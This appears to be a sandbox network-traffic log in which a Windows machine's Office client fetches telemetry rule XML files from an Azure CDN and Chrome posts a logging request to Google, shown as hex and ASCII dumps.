47	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:30 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:30 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a96fbf53-401e-0016-5d5d-2653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001830Z-16849878b78bcpfn2qf7sm6hsn0000000ab000000000k8n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:30 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001831Z-16849878b78p49s6zkwt11bbkn00000008g000000000493r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49777	142.250.185.110	443	4676	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:31 UTC	922	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 919 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=g5RD-eFUZEEsLQ2SzRTVQ_6UpBWwvr1HOCMDcR8Qr_o4VpGjT7vJ4IMrmfX0YNgk87G_udND5ALpFHHaGiAGGg12wU6nbOt8FHLx5IGu4Qxfk_lUERUbpzzxQbLo9eQMxWotWn5F2py4MikfDSEsJe6e96sASYDizFxaEb8ZIke6UK4oCg
2024-10-31 00:18:31 UTC	919	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 33 33 39 30 38 35 37 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730333908574",null,null,null,
2024-10-31 00:18:31 UTC	944	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=BsIRlzEybIgj8qh1TyVD8WBV8iOhcH5C7YRw1SZaeVeoazjSgSEK-dF9vx04prgqV2mvEpN1gyFVuU8lGaQbPRzUM8Lr_SPhqP8IqnC94dPjgc2IwcQsekdWd6mnzYUr6iePddIAIOK_CQ7mRzJuF_ZdfS2UPv0HGyiCGKoDsXi_m92HAf1hcUYKAg; expires=Fri, 02-May-2025 00:18:31 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 00:18:31 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 00:18:31 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 00:18:31 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 00:18:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:31 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7c52a88a-f01e-00aa-0993-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001831Z-159b85dff8fj5jwshC1DFW3rgc00000000hg000000001sta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:31 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 82dd15c7-901e-0064-46c7-2ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001831Z-159b85dff8fgc78phC1DFWd3vs00000000e0000000004rbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:31 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:31 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 11245d39-601e-0070-68de-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001831Z-159b85dff8f7lrfphC1DFWfw0800000000dg000000007tmt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:31 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:31 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:31 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001831Z-16849878b7898p5f6vryaqvp5800000009mg00000000b2f5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:31 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:32 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:32 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 9f2c0728-901e-0015-1b2a-2bb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001832Z-15b8d89586fst84kttks1s2css00000002f00000000071gg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-31 00:18:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:32 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 6cea588d-401e-0015-2b7f-2a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001832Z-159b85dff8fx9jp8hC1DFWp25400000000gg000000008arp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:32 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 5926a802-601e-0032-207f-2aeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001832Z-16849878b785jrf8dn0d2rczaw00000009x000000000e64k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:32 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001832Z-16849878b78qg9mlz11wgn0wcc00000008d0000000005s6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
